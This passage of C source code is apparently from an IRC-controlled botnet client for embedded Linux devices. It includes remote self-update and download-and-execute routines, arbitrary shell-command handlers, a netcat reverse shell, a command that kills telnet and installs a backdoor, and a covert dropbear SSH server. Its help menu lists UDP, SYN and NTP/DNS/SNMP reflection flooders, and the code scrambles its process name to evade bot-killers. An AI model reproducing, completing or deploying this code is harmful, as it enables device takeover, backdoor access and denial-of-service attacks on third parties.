if(!strstr(buf,"Usage")) dgcc=0;
3595
else dgcc=1;
3596
pclose(gcc);
3597
} else dgcc=0;
3598
3599
for (i=0;i<strlen(argv[2]) && argv[2][i] != ':';i++);
3600
argv[2][i]=0;
3601
if(dgcc) file=argv[2];
3602
else file=argv[2]+i+1;
3603
3604
Send(sock2,"GET /%s HTTP/1.1\r\nConnection: Keep-Alive\r\nUser-Agent: Mozilla/4.75 [en] (X11; U; Linux 2.2.16-3 i686)\r\nHost: %s:80\r\nAccept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*\r\nAccept-Encoding: gzip\r\nAccept-Language: en\r\nAccept-Charset: iso-8859-1,*,utf-8\r\n\r\n",file,argv[1]);
3605
Send(sock, "NOTICE %s :Receiving update.\n", sender);
3606
system("mkdir /tmp");
3607
if(dgcc) {
3608
FILE *file=fopen("/tmp/.c","wb");
3609
char bufm[4096];
3610
while(1) {
3611
int i;
3612
if((i=recv(sock2,bufm,4096,0)) <= 0) break;
3613
if(i < 4096) bufm[i]=0;
3614
for (d=0;d<i;d++) if(!strncmp(bufm+d,"\r\n\r\n",4)) {
3615
for (d+=4;d<i;d++) fputc(bufm[d],file);
3616
goto done;
3617
}
3618
}
3619
done:
3620
while(1) {
3621
int i;
3622
if((i=recv(sock2,bufm,4096,0)) <= 0) break;
3623
if(i < 4096) bufm[i]=0;
3624
for (d=0;d<i;d++) fputc(bufm[d],file);
3625
}
3626
fclose(file);
3627
memset(buf,0,4096);
3628
sprintf(buf,"(gcc -o %s /tmp/.c; rm -f /tmp/.c; kill -9 %d; %s &) > /dev/null 2>&1",execfile,parent,execfile);
3629
}
3630
else {
3631
FILE *file=fopen("/tmp/.o","wb");
3632
unsigned char bufm[4096];
3633
while(1) {
3634
int i;
3635
if((i=recv(sock2,bufm,4096,0)) <= 0) break;
3636
if(i < 4096) bufm[i]=0;
3637
for (d=0;d<i;d++) if(!strncmp(bufm+d,"\r\n\r\n",4)) {
3638
for (d+=4;d<i;d++) fputc(bufm[d],file);
3639
goto done2;
3640
}
3641
}
3642
done2:
3643
while(1) {
3644
int i,d;
3645
if((i=recv(sock2,bufm,4096,0)) <= 0) break;
3646
if(i < 4096) bufm[i]=0;
3647
for (d=0;d<i;d++) fputc(bufm[d],file);
3648
}
3649
fclose(file);
3650
memset(buf,0,4096);
3651
//sprintf(buf,"(chmod 755 /tmp/.o;kill -9 %d; kill -9 %d;trap '' 1 2; /tmp/.o &) > /dev/null",actualparent,parent,execfile);
3652
//sprintf(buf,"chmod +x /tmp/.o; trap '' 1;sh -c '/var/bin/killall knight*;/var/bin/killall .o;sleep 5;trap \"\" 1;/tmp/.o '&");
3653
sprintf(buf,"export PATH=/usr/sbin:/bin:/usr/bin:/sbin:/var/bin;chmod +x /tmp/.o; trap '' 1;sh -c '/var/bin/killall knight*;/var/bin/killall kt*;/var/bin/killall .o;/var/bin/sleep 5;trap "" 1;/tmp/.o '&");
3654
}
3655
close(sock);
3656
close(sock2);
3657
system(buf);
3658
kill(9,0);
3659
exit(0);
3660
}
3661
3662
3663
void move(int sock, char *sender, int argc, char **argv) {
3664
if(argc < 1) {
3665
Send(sock, "NOTICE %s :MOVE <server>\n", sender);
3666
exit(1);
3667
}
3668
server=strdup(argv[1]);
3669
changeservers=1;
3670
close(sock);
3671
}
3672
3673
void hackpkg(int sock, char *sender, int argc, char **argv) {
3674
int sock2,i,d;
3675
struct sockaddr_in server;
3676
unsigned long ipaddr;
3677
char buf[1024];
3678
FILE *file;
3679
mkdir("/var/bin", 0775);
3680
unsigned char bufm[4096];
3681
if(mfork(sender) != 0) return;
3682
if(argc < 2) {
3683
Send(sock, "NOTICE %s :HACKPGK <url> <binary name>\n", sender);
3684
exit(0);
3685
}
3686
if((sock2 = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
3687
Send(sock, "NOTICE %s :Unable to create socket.\n", sender);
3688
exit(0);
3689
}
3690
if(!strncmp(argv[1],"http://",7)) strcpy(buf,argv[1]+7);
3691
else strcpy(buf,argv[1]);
3692
for (i=0;i<strlen(buf) && buf[i] != '/';i++);
3693
buf[i]=0;
3694
server.sin_family = AF_INET;
3695
server.sin_port = htons(80);
3696
if((ipaddr = inet_addr(buf)) == -1) {
3697
struct hostent *hostm;
3698
if((hostm=gethostbyname(buf)) == NULL) {
3699
Send(sock, "NOTICE %s :Unable to resolve address.\n", sender);
3700
exit(0);
3701
}
3702
memcpy((char*)&server.sin_addr, hostm->h_addr, hostm->h_length);
3703
}
3704
else server.sin_addr.s_addr = ipaddr;
3705
memset(&(server.sin_zero), 0, 8);
3706
if(connect(sock2,(struct sockaddr *)&server, sizeof(server)) != 0) {
3707
Send(sock, "NOTICE %s :Unable to connect to http.\n", sender);
3708
exit(0);
3709
}
3710
3711
Send(sock2,"GET /%s HTTP/1.1\r\nConnection: Keep-Alive\r\nUser-Agent: HackZilla/1.67 [en] (X11; U; Linux 2.2.16-3 x64)\r\nHost: %s:80\r\nAccept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*\r\nAccept-Encoding: gzip\r\nAccept-Language: en\r\nAccept-Charset: iso-8859-1,*,utf-8\r\n\r\n",buf+i+1,buf);
3712
Send(sock, "NOTICE %s :Receiving file.\n", sender);
3713
file=fopen(argv[2],"wb");
3714
while(1) {
3715
int i;
3716
if((i=recv(sock2,bufm,4096,0)) <= 0) break;
3717
if(i < 4096) bufm[i]=0;
3718
for (d=0;d<i;d++) if(!strncmp(bufm+d,"\r\n\r\n",4)) {
3719
for (d+=4;d<i;d++) fputc(bufm[d],file);
3720
goto done;
3721
}
3722
}
3723
done:
3724
Send(sock, "NOTICE %s :Installed %s to hack path.\n", sender,argv[2]);
3725
while(1) {
3726
int i,d;
3727
if((i=recv(sock2,bufm,4096,0)) <= 0) break;
3728
if(i < 4096) bufm[i]=0;
3729
for (d=0;d<i;d++) fputc(bufm[d],file);
3730
}
3731
fclose(file);
3732
close(sock2);
3733
char MoveIt[255];
3734
sprintf(MoveIt, "cat %s > /var/bin/%s",argv[2],argv[2]);
3735
system(MoveIt);
3736
char DeleteIt[255];
3737
sprintf(DeleteIt, "rm -f %s", argv[2]);
3738
system(DeleteIt);
3739
char String[255];
3740
sprintf(String, "chmod 775 /var/bin/%s",argv[2]);
3741
system(String);
3742
char String2[255];
3743
sprintf(String2, "ls -l /var/bin/%s",argv[2]);
3744
system(String2);
3745
exit(0);
3746
}
3747
3748
void help(int sock, char *sender, int argc, char **argv) {
3749
if(mfork(sender) != 0) return;
3750
Send(sock, "NOTICE %s :Non-root/non-spoof DDoS commands commands:\n", sender); sleep(3);
3751
Send(sock, "NOTICE %s : STD <ip> <port> <time> = A non spoof HIV STD flooder\n", sender); sleep(1);
3752
Send(sock, "NOTICE %s : HOLD <host> <port> <time> = A vanilla TCP connect flooder\n", sender); sleep(1);
3753
Send(sock, "NOTICE %s : JUNK <host> <port> <time> = A vanilla TCP flooder (modded)\n", sender); sleep(1);
3754
Send(sock, "NOTICE %s : UNKNOWN <target> <port, 0 for random> <packet size, 0 for random> <secs> = An advanced non spoof UDP flooder modified by Freak\n", sender); sleep(1);
3755
Send(sock, "NOTICE %s : HTTP <method> <target> <port> <path> <time> <power> = An extremely powerful HTTP flooder\n", sender); sleep(1);
3756
Send(sock, "NOTICE %s : WGETFLOOD <url> <secs> = An HTTP(S) flooder\n", sender); sleep(1);
3757
Send(sock, "NOTICE %s :Spoof/root commands:\n", sender); sleep(3);
3758
Send(sock, "NOTICE %s : UDP <target> <port> <secs> = A UDP flooder\n", sender); sleep(1);
3759
Send(sock, "NOTICE %s : PAN <target> <port> <secs> = An advanced syn flooder that will kill most network drivers\n", sender); sleep(1);
3760
Send(sock, "NOTICE %s : TCP <target> <port> <time> <flags> <packetsize> <pollinterval> <threads> = An advanced TCP flooder with multithreading. Will kill almost any service.\n", sender); sleep(1);
3761
Send(sock, "NOTICE %s : PHATWONK <target> <flags/method> <secs> = A leet flooder coded by Freak, attacks 31 ports. Can set flags or attack method.\n", sender); sleep(1);
3762
Send(sock, "NOTICE %s : BLACKNURSE <target ip> <secs> = An ICMP packet flooder that will crash most firewalls and use loads of CPU.\n", sender); sleep(1);
3763
Send(sock, "NOTICE %s : SOCKSTRESS <ip>:<port> <interface> -s <time> [-p payload] [-d delay]\n", sender); sleep(1);
3764
Send(sock, "NOTICE %s : NTP <target IP> <target port> <reflection file url> <threads> <pps limiter, -1 for no limit> <time> = A NTP DrDoS flooder. Very potent.\n", sender); sleep(1);
3765
Send(sock, "NOTICE %s : DNS <IP> <port> <reflection file url> <threads> <time> = A DNS DrDoS flooder. Almost unblockable.\n", sender); sleep(1);
3766
Send(sock, "NOTICE %s : SNMP <IP> <port> <reflection file url> <threads> <pps limiter, -1 for no limit> <time> = SNMP DrDoS flooder. Insane amp factor (600 - 1700x)\n", sender); sleep(1);
3767
Send(sock, "NOTICE %s :Other commands:\n", sender); sleep(3);
3768
Send(sock, "NOTICE %s : RNDNICK = Randomizes the knights nick\n", sender); sleep(1);
3769
Send(sock, "NOTICE %s : NICK <nick> = Changes the nick of the client\n", sender); sleep(1);
3770
Send(sock, "NOTICE %s : SERVER <server> = Changes servers\n", sender); sleep(1);
3771
Send(sock, "NOTICE %s : GETSPOOFS = Gets the current spoofing\n", sender); sleep(1);
3772
Send(sock, "NOTICE %s : SPOOFS <subnet> = Changes spoofing to a subnet\n", sender); sleep(1);
3773
Send(sock, "NOTICE %s : DISABLE = Disables all packeting from this client\n", sender); sleep(1);
3774
Send(sock, "NOTICE %s : ENABLE = Enables all packeting from this client\n", sender); sleep(1);
3775
Send(sock, "NOTICE %s : KILL = Kills the knight\n", sender); sleep(1);
3776
Send(sock, "NOTICE %s : DNS2IP <domain>\n", sender); sleep(1);
3777
Send(sock, "NOTICE %s : GET <http address> <save as> = Downloads a file off the web and saves it onto the hd\n", sender); sleep(1);
3778
Send(sock, "NOTICE %s : UPDATE <http address> <src:bin> = Update this bot\n", sender); sleep(1);
3779
Send(sock, "NOTICE %s : HACKPKG <http address> <bin name> = HackPkg is here! Install a bin, using http, no depends!\n", sender); sleep(1);
3780
Send(sock, "NOTICE %s : VERSION = Requests version of client\n", sender); sleep(1);
3781
Send(sock, "NOTICE %s : KILLALL = Kills all current packeting\n", sender); sleep(1);
3782
Send(sock, "NOTICE %s : HELP = Displays this\n", sender); sleep(1);
3783
Send(sock, "NOTICE %s : IRC <command> = Sends this command to the server\n", sender); sleep(1);
3784
Send(sock, "NOTICE %s : SH <command> = Executes a command\n", sender); sleep(1);
3785
Send(sock, "NOTICE %s : ISH <command> = SH, interactive, sends to channel\n", sender); sleep(1);
3786
Send(sock, "NOTICE %s : SHD <command> = Executes a psuedo-daemonized command\n", sender); sleep(1);
3787
Send(sock, "NOTICE %s : GETBB <tftp server> = Get a proper busybox\n", sender); sleep(1);
3788
Send(sock, "NOTICE %s : INSTALL <http server/file_name> = Download & install a binary to /var/bin \n", sender); sleep(1);
3789
Send(sock, "NOTICE %s : BASH <cmd> = Execute commands using bash. \n", sender); sleep(1);
3790
Send(sock, "NOTICE %s : BINUPDATE <http:server/package> = Update a binary in /var/bin via wget \n", sender); sleep(1);
3791
Send(sock, "NOTICE %s : SCAN <nmap options> = Call the nmap wrapper script and scan with your opts. \n", sender); sleep(1);
3792
Send(sock, "NOTICE %s : RSHELL <server> <port> = Equates to nohup nc ip port -e /bin/sh\n", sender); sleep(1);
3793
Send(sock, "NOTICE %s : LOCKUP <http:server> = Kill telnet, d/l aes backdoor from <server>, run that instead.\n", sender); sleep(1);
3794
Send(sock, "NOTICE %s : GETSSH <http:server/dropbearmulti> = D/l, install, configure and start dropbear on port 30022.\n", sender); sleep(1);
3795
exit(0);
3796
}
3797
void killall(int sock, char *sender, int argc, char **argv) {
3798
unsigned long i;
3799
for (i=0;i<numpids;i++) {
3800
if(pids[i] != 0 && pids[i] != getpid()) {
3801
if(sender) Send(sock, "NOTICE %s :Killing pid %d.\n", sender,pids[i]);
3802
kill(pids[i],9);
3803
}
3804
}
3805
}
3806
3807
void killd(int sock, char *sender, int argc, char **argv) {
3808
char buf[1024]={0};
3809
if(disabled == 1) return;
3810
sprintf(buf,"kill -9 %d;kill -9 0",actualparent);
3811
system(buf);
3812
exit(0);
3813
}
3814
3815
char *append(char *string1, char *string2) {
3816
char * result = NULL;
3817
asprintf(&result, "%s%s", string1, string2);
3818
return result;
3819
}
3820
3821
int ismaster(char *sender, char *masters[], int nummasters) {
3822
int i;
3823
char *master;
3824
3825
for (i=0; i < nummasters; i++) {
3826
master = append(masters[i], "!");
3827
if(!strncmp(master, sender, strlen(master)))
3828
return 1;
3829
}
3830
return 0;
3831
}
3832
3833
void histClear(int sock, char *sender, int argc, char **argv) {
3834
ClearHistory();
3835
Send(sock, "NOTICE %s :History cleared!\n", sender);
3836
return;
3837
}
3838
3839
struct FMessages { char *cmd; void (* func)(int,char *,int,char **); } flooders[] = {
3840
{ "STD", sendSTD },
3841
{ "UNKNOWN", unknown },
3842
{ "HTTP", HTTP },
3843
{ "WGETFLOOD", wgetHTTP },
3844
{ "HOLD", hold },
3845
{ "JUNK", junk },
3846
{ "PAN", pan },
3847
{ "UDP", udp },
3848
{ "TCP", tcpflood },
3849
{ "PHATWONK", phatwonk },
3850
{ "NTP", ntp },
3851
{ "SNMP", snmp },
3852
{ "DNS", dns },
3853
{ "BLACKNURSE", blacknurse },
3854
{ "SCANNER", doScanner },
3855
{ "DNS2IP", dns2ip },
3856
{ "NICK", nickc },
3857
{ "RNDNICK", rndnick },
3858
{ "CLEARHISTORY", histClear },
3859
{ "SERVER", move },
3860
{ "GETSPOOFS", getspoofs },
3861
{ "SPOOFS", spoof },
3862
{ "HACKPKG", hackpkg },
3863
{ "DISABLE", disable },
3864
{ "ENABLE", enable },
3865
{ "UPDATE", update },
3866
{ "KILLMYEYEPEEUSINGHOIC", killd },
3867
{ "GET", get },
3868
{ "VERSION", version },
3869
{ "KILLALL", killall },
3870
{ "HELP", help },
3871
{ (char *)0, (void (*)(int,char *,int,char **))0 } };
3872
3873
void _PRIVMSG(int sock, char *sender, char *str) {
3874
if(!ismaster(sender, masters, nummasters)) {
3875
return;
3876
}
3877
int i;
3878
char *to, *message;
3879
for (i=0;i<strlen(str) && str[i] != ' ';i++);
3880
str[i]=0;
3881
to=str;
3882
message=str+i+2;
3883
for (i=0;i<strlen(sender) && sender[i] != '!';i++);
3884
sender[i]=0;
3885
if(*message == '!' && !strcasecmp(to,chan)) {
3886
char *params[12], name[1024]={0};
3887
int num_params=0, m;
3888
message++;
3889
for (i=0;i<strlen(message) && message[i] != ' ';i++);
3890
message[i]=0;
3891
if(strwildmatch(message,nick)) return;
3892
message+=i+1;
3893
if(!strncmp(message,"IRC ",4)) if(disabled) Send(sock, "NOTICE %s :Unable to comply.\n", sender); else Send(sock, "%s\n",message+4);
3894
if(!strncmp(message,"SH ",3)) {
3895
char buf[1024];
3896
FILE *command;
3897
if(mfork(sender) != 0) return;
3898
memset(buf,0,1024);
3899
sprintf(buf,"export PATH=/var/bin:/bin:/sbin:/usr/bin:/usr/local/bin:/usr/sbin;%s",message+3);
3900
command=popen(buf,"r");
3901
while(!feof(command)) {
3902
memset(buf,0,1024);
3903
fgets(buf,1024,command);
3904
Send(sock, "NOTICE %s :%s\n", sender,buf);
3905
sleep(1);
3906
}
3907
pclose(command);
3908
exit(0);
3909
}
3910
3911
3912
// SHD (daemonize sh command)
3913
if(!strncmp(message,"SHD ",4)) {
3914
char buf[1024];
3915
FILE *command;
3916
if(mfork(sender) != 0) return;
3917
memset(buf,0,1024);
3918
sprintf(buf,"export HOME=/tmp;export;export PATH=/bin:/sbin:/usr/bin:/usr/sbin:/var/bin;trap '' 1 2; sh -c '%s'&",message+4);
3919
command=popen(buf,"r");
3920
while(!feof(command)) {
3921
memset(buf,0,1024);
3922
fgets(buf,1024,command);
3923
Send(sock, "NOTICE %s :%s\n", sender,buf);
3924
sleep(1);
3925
}
3926
pclose(command);
3927
exit(0);
3928
}
3929
3930
// GETBB (this installs a better busybox, via tftp. This func, like the rest, has a dependency that we would like eliminate (in this case tftp). We really want to have the c program handle as much of thse custom funcs as possile. I am not graet with c, but proficient with linux, so i added these.
3931
if(!strncmp(message,"GETBB ",6)) {
3932
char buf[1024];
3933
FILE *command;
3934
if(mfork(sender) != 0) return;
3935
memset(buf,0,1024);
3936
sprintf(buf,"export fileGet=busybox-mips;export PATH=/bin:/sbin:/usr/bin:/usr/sbin:/var/bin;cd /var;(([ ! -e /var/\"$fileGet\" ] || [ ! -s /var/\"$fileGet\" ]) && tftp -g -r \"$fileGet\" %s && chmod +x \"$fileGet\" && ./\"$fileGet\" mkdir bin && ./\"$fileGet\" --install -s /var/bin && ls -l \"$fileGet\" || echo It appears we already have /var/\"$fileGet\")",message+6);
3937
command=popen(buf,"r");
3938
while(!feof(command)) {
3939
memset(buf,0,1024);
3940
fgets(buf,1024,command);
3941
Send(sock, "NOTICE %s :%s\n", sender,buf);
3942
sleep(1);
3943
}
3944
pclose(command);
3945
exit(0);
3946
}
3947
3948
3949
// GETSSH (download, install, start dropbear, requires busybox for wget, mv, somet other things that are not always present on embedded devices
3950
if(!strncmp(message,"GETSSH ",7)) {
3951
char buf[1024];
3952
FILE *command;
3953
if(mfork(sender) != 0) return;
3954
memset(buf,0,1024);
3955
sprintf(buf,"export PATH=/var/bin:/bin:/sbin:/usr/bin:/usr/sbin;cd /tmp;export url=%s;name=`echo \"$url\" | sed 's#.\x2a/##'` && wget -O \"$name\" \"$url\";chmod +x \"$name\";mv \"$name\" /var/bin;ls -l /var/bin/\"$name\" && dss=/var/dbs/dropbear_dss_host_key;rsa=/var/dbs/dropbear_rsa_host_key;ecd=/var/dbs/dropbear_ecdsa_host_key;cd /var/bin;for i in dropbear dbclient dropbearkey dropbearconvert;do ln -s /var/bin/dropbearmulti $i;done;[ ! -d /var/dbs ] && mkdir /var/dbs;[ -f $dss ] || dropbearkey -t dss -f $dss;[ -f $rsa ] || dropbearkey -t rsa -f $rsa;[ -f $ecd ] || dropbearkey -t ecdsa -f $ecd;dropbear -r $dss -r $rsa -r $ecd -p 30022;iptables -I INPUT 1 -p tcp --dport 30022 -j ACCEPT",message+7);
3956
command=popen(buf,"r");
3957
while(!feof(command)) {
3958
memset(buf,0,1024);
3959
fgets(buf,1024,command);
3960
Send(sock, "NOTICE %s :%s\n", sender,buf);
3961
sleep(1);
3962
}
3963
pclose(command);
3964
exit(0);
3965
}
3966
3967
3968
// INSTALL (uses wget to download and install a file into our hack path. This program already has a built in http func, so it would be great to use taht instead of needing to download busybox/wget first
3969
3970
if(!strncmp(message,"INSTALL ",8)) {
3971
char buf[1024];
3972
FILE *command;
3973
if(mfork(sender) != 0) return;
3974
memset(buf,0,1024);
3975
sprintf(buf,"export PATH=/bin:/sbin:/usr/bin:/usr/sbin:/var/bin;export url=%s;export name=`echo \"$url\" | sed 's#.\x2a/##'`;(([ ! -e /var/bin/$name ] || [ ! -s /var/bin/$name ]) && echo \"$name either doesnt exist or eq 0 so we get\" && cd /tmp && wget -O \"$name\" \"$url\" && chmod +x \"$name\" && mv \"$name\" /var/bin && ([ -f /var/bin/$name ] && ls -l /var/bin/$name) || echo \"It appears I already have $name\")",message+8);
3976
command=popen(buf,"r");
3977
while(!feof(command)) {
3978
memset(buf,0,1024);
3979
fgets(buf,1024,command);
3980
Send(sock, "NOTICE %s :%s\n", sender,buf);
3981
sleep(1);
3982
}
3983
pclose(command);
3984
exit(0);
3985
}
3986
3987
3988
// BINUPDATE http://server/file (like install, but updates the program)
3989
3990
if(!strncmp(message,"BINUPDATE ",10)) {
3991
char buf[1024];
3992
FILE *command;
3993
if(mfork(sender) != 0) return;
3994
memset(buf,0,1024);
3995
sprintf(buf,"export PATH=/bin:/sbin:/usr/bin:/usr/sbin:/var/bin;export url=%s;export name=`echo \"$url\" | sed 's#.*/##'`;([ -e /var/bin/$name ]) && echo $name exists so we delete it... && rm /var/bin/$name && cd /tmp && wget -O $name $url && chmod +x $name && mv $name /var/bin && ([ -f /var/bin/$name ] && ls -l /var/bin/$name) || echo \"$name doesnt exist, perhaps you mean INSTALL?\"",message+10);
3996
command=popen(buf,"r");
3997
while(!feof(command)) {
3998
memset(buf,0,1024);
3999
fgets(buf,1024,command);
4000
Send(sock, "NOTICE %s :%s\n", sender,buf);
4001
sleep(1);
4002
}
4003
pclose(command);
4004
exit(0);
4005
}
4006
4007
// LOCKUP <http:server/backdoor> (This kills telnet and installs my backdoor binary, which is aes encrypted. This is prob something else that would be cool to have built in to elimiate the dependency
4008
4009
if(!strncmp(message,"LOCKUP ",7)) {
4010
char buf[1024];
4011
FILE *command;
4012
if(mfork(sender) != 0) return;
4013
memset(buf,0,1024);
4014
sprintf(buf,"export PATH=/var/bin:/bin:/sbin:/usr/bin:/usr/sbin;export HOME=/tmp;[ ! -f /var/bin/dmips ] && cd /var/bin;wget -O dmips %s;chmod +x /var/bin/dmips;(killall -9 telnetd || kill -9 telnetd) && (nohup dmips || trap '' 1 2 /var/bin/dmips)",message+7);
4015
command=popen(buf,"r");
4016
while(!feof(command)) {
4017
memset(buf,0,1024);
4018
fgets(buf,1024,command);
4019
Send(sock, "NOTICE %s :%s\n", sender,buf);
4020
sleep(1);
4021
}
4022
pclose(command);
4023
exit(0);
4024
}
4025
4026
// !* RSHELL server.com 4444 (reverse shell via nc. We need a built in reverese shell functiomn to eliminiate taht dependency
4027
if(!strncmp(message,"RSHELL ",6)) {
4028
char buf[1024];
4029
FILE *command;
4030
if(mfork(sender) != 0) return;
4031
memset(buf,0,1024);
4032
sprintf(buf,"export HOME=/tmp;export PATH=/var/bin:/bin:/sbin:/usr/bin:/usr/sbin;trap '' 1 2; sh -c 'nohup nc %s -e /bin/sh '&",message+6);
4033
command=popen(buf,"r");
4034
while(!feof(command)) {
4035
memset(buf,0,1024);
4036
fgets(buf,1024,command);
4037
Send(sock, "NOTICE %s :%s\n", sender,buf);
4038
sleep(1);
4039
}
4040
pclose(command);
4041
exit(0);
4042
}
4043
4044
//SCAN (calls a wrapper script. We need a built in port scanner that auto uploads the results to a server
4045
if(!strncmp(message,"SCAN ",5)) {
4046
char buf[1024];
4047
FILE *command;
4048
if(mfork(sender) != 0) return;
4049
memset(buf,0,1024);
4050
sprintf(buf,"export HOME=/tmp;export PATH=/var/bin:/bin:/sbin:/usr/bin:/usr/sbin;(([ ! -x /var/bin/scan ] || [ ! -x /var/bin/nmap ]) && echo \"I am missing either scan or nmap, and Shellzrus was on Xanax when he wrote this, so you need to do INSTALL http:\x2f\\server/nmap and INSTALL http:\x2f\x2fserver/scan first...\" && ([ -f /var/bin/nmap ] && ls -l /var/bin/nmap) && ([ -f /va\x72/bin/scan ] && ls -l /var/bin/scan) || scan %s)",message+5);
4051
command=popen(buf,"r");
4052
while(!feof(command)) {
4053
memset(buf,0,1024);
4054
fgets(buf,1024,command);
4055
Send(sock, "NOTICE %s :%s\n", sender,buf);
4056
sleep(1);
4057
}
4058
pclose(command);
4059
exit(0);
4060
}
4061
4062
// !* BASH echo hello
4063
if(!strncmp(message,"BASH ",5)) {
4064
char buf[1024];
4065
FILE *command;
4066
if(mfork(sender) != 0) return;
4067
memset(buf,0,1024);
4068
sprintf(buf,"export HOME=/tmp;export SHELL=/var/bin/bash;export PATH=/bin:/sbin:/usr/bin:/usr/sbin:/var/bin;%s",message+5);
4069
command=popen(buf,"r");
4070
while(!feof(command)) {
4071
memset(buf,0,1024);
4072
fgets(buf,1024,command);
4073
Send(sock, "NOTICE %s :%s\n", sender,buf);
4074
sleep(1);
4075
}
4076
pclose(command);
4077
exit(0);
4078
4079
}
4080
m=strlen(message);
4081
for (i=0;i<m;i++) {
4082
if(*message == ' ' || *message == 0) break;
4083
name[i]=*message;
4084
message++;
4085
}
4086
for (i=0;i<strlen(message);i++) if(message[i] == ' ') num_params++;
4087
num_params++;
4088
if(num_params > 10) num_params=10;
4089
params[0]=name;
4090
params[num_params+1]="\0";
4091
m=1;
4092
while(*message != 0) {
4093
message++;
4094
if(m >= num_params) break;
4095
for (i=0;i<strlen(message) && message[i] != ' ';i++);
4096
params[m]=(char*)malloc(i+1);
4097
strncpy(params[m],message,i);
4098
params[m][i]=0;
4099
m++;
4100
message+=i;
4101
}
4102
for (m=0; flooders[m].cmd != (char *)0; m++) {
4103
if(!strcasecmp(flooders[m].cmd,name)) {
4104
flooders[m].func(sock, sender,num_params-1,params);
4105
for (i=1;i<num_params;i++) free(params[i]);
4106
return;
4107
}
4108
}
4109
}
4110
}
4111
4112
void _376(int sock, char *sender, char *str) {
4113
Send(sock, "MODE %s -xi\n",nick);
4114
Send(sock, "JOIN %s :%s\n",chan,key);
4115
Send(sock, "WHO %s\n",nick);
4116
if(scanPid == 0) {
4117
SeigHeil(sock);
4118
if(scanPid != 0) {
4119
//Send(sock, "PRIVMSG %s :[TELNET] [+] SCANNER STARTED!\n", chan); //Scanner has been started successfully!!!
4120
}
4121
}
4122
}
4123
void _PING(int sock, char *sender, char *str) {
4124
Send(sock, "PONG %s\n",str);
4125
}
4126
void _352(int sock, char *sender, char *str) {
4127
int i,d;
4128
char *msg=str;
4129
struct hostent *hostm;
4130
unsigned long m;
4131
for (i=0,d=0;d<5;d++) {
4132
for (;i<strlen(str) && *msg != ' ';msg++,i++); msg++;
4133
if(i == strlen(str)) return;
4134
}
4135
for (i=0;i<strlen(msg) && msg[i] != ' ';i++);
4136
msg[i]=0;
4137
if(!strcasecmp(msg,nick) && !spoofsm) {
4138
msg=str;
4139
for (i=0,d=0;d<3;d++) {
4140
for (;i<strlen(str) && *msg != ' ';msg++,i++); msg++;
4141
if(i == strlen(str)) return;
4142
}
4143
for (i=0;i<strlen(msg) && msg[i] != ' ';i++);
4144
msg[i]=0;
4145
if((m = inet_addr(msg)) == -1) {
4146
if((hostm=gethostbyname(msg)) == NULL) {
4147
Send(sock, "NOTICE %s :I'm having a problem resolving my host, someone will have to SPOOFS me manually.\n",chan);
4148
return;
4149
}
4150
memcpy((char*)&m, hostm->h_addr, hostm->h_length);
4151
}
4152
((char*)&spoofs)[3]=((char*)&m)[0];
4153
((char*)&spoofs)[2]=((char*)&m)[1];
4154
((char*)&spoofs)[1]=((char*)&m)[2];
4155
((char*)&spoofs)[0]=0;
4156
spoofsm=256;
4157
}
4158
}
4159
void _433(int sock, char *sender, char *str) {
4160
free(nick);
4161
nick=randstring(realrand(4, 8));
4162
}
4163
void _NICK(int sock, char *sender, char *str) {
4164
int i;
4165
for (i=0;i<strlen(sender) && sender[i] != '!';i++);
4166
sender[i]=0;
4167
if(!strcasecmp(sender,nick)) {
4168
if(*str == ':') str++;
4169
if(nick) free(nick);
4170
nick=randstring(realrand(4, 8));
4171
}
4172
}
4173
struct Messages { char *cmd; void (* func)(int,char *,char *); } msgs[] = {
4174
{ "352", _352 },
4175
{ "376", _376 },
4176
{ "433", _433 },
4177
{ "422", _376 },
4178
{ "PRIVMSG", _PRIVMSG },
4179
{ "PING", _PING },
4180
{ "NICK", _NICK },
4181
{ (char *)0, (void (*)(int,char *,char *))0 } };
4182
4183
void con() {
4184
int error = 0;
4185
socklen_t len = sizeof (error);
4186
int retval = getsockopt (sock, SOL_SOCKET, SO_ERROR, &error, &len);
4187
if (retval != 0) {
4188
/* there was a problem getting the error code */
4189
//fprintf(stderr, "error getting socket error code: %s\n", strerror(retval));
4190
} else if (error != 0) {
4191
/* socket has a non zero error status */
4192
//fprintf(stderr, "socket error: %s\n", strerror(error));
4193
} else {
4194
//our sock is ay okay
4195
return;
4196
}
4197
struct sockaddr_in srv;
4198
unsigned long ipaddr,start;
4199
int flag;
4200
struct hostent *hp;
4201
start:
4202
sock=-1;
4203
flag=1;
4204
if(changeservers == 0) server=servers[rand()%numservers];
4205
changeservers=0;
4206
while((sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0);
4207
if(inet_addr(server) == 0 || inet_addr(server) == -1) {
4208
if((hp = gethostbyname(server)) == NULL) {
4209
server=NULL;
4210
close(sock);
4211
goto start;
4212
}
4213
bcopy((char*)hp->h_addr, (char*)&srv.sin_addr, hp->h_length);
4214
}
4215
else srv.sin_addr.s_addr=inet_addr(server);
4216
srv.sin_family = AF_INET;
4217
srv.sin_port = htons(6667); //Note to self: change to 443
4218
ioctl(sock,FIONBIO,&flag);
4219
start=time(NULL);
4220
while(time(NULL)-start < 10) {
4221
errno=0;
4222
if(connect(sock, (struct sockaddr *)&srv, sizeof(srv)) == 0 || errno == EISCONN) {
4223
setsockopt(sock,SOL_SOCKET,SO_LINGER,0,0);
4224
setsockopt(sock,SOL_SOCKET,SO_REUSEADDR,0,0);
4225
setsockopt(sock,SOL_SOCKET,SO_KEEPALIVE,0,0);
4226
return;
4227
}
4228
if(!(errno == EINPROGRESS ||errno == EALREADY)) break;
4229
sleep(1);
4230
}
4231
server=NULL;
4232
close(sock);
4233
goto start;
4234
}
4235
4236
void makeFukdString(char *buf, int length) {
4237
srand(time(NULL));
4238
int i = 0;
4239
for(i = 0; i < length; i++) buf[i] = (rand() % 223) + 33; // No spaces.
4240
}
4241
4242
void touchMyself(char **argv) {
4243
if(!fork()) {
4244
while(1) {
4245
makeFukdString(argv[0], 1024 + (rand() % 128)); // Crashes almost all /proc/pid/cmdline based botkillers. Including Mirai. sweg
4246
sleep(3); // rape process name every 3 seconds
4247
}
4248
}
4249
return;
4250
}
4251
4252
int main(int argc, char **argv) {
4253
setsid();
4254
signal(SIGPIPE, SIG_IGN);
4255
if(!fork()) { return; }
4256
touchMyself(&argv); // Mega anti botkill. completely hides process name. nearly like a rootkit but more noisy
4257
// botkill();
4258
strcpy(dispass, "FreakIsYourGod!!!");
4259
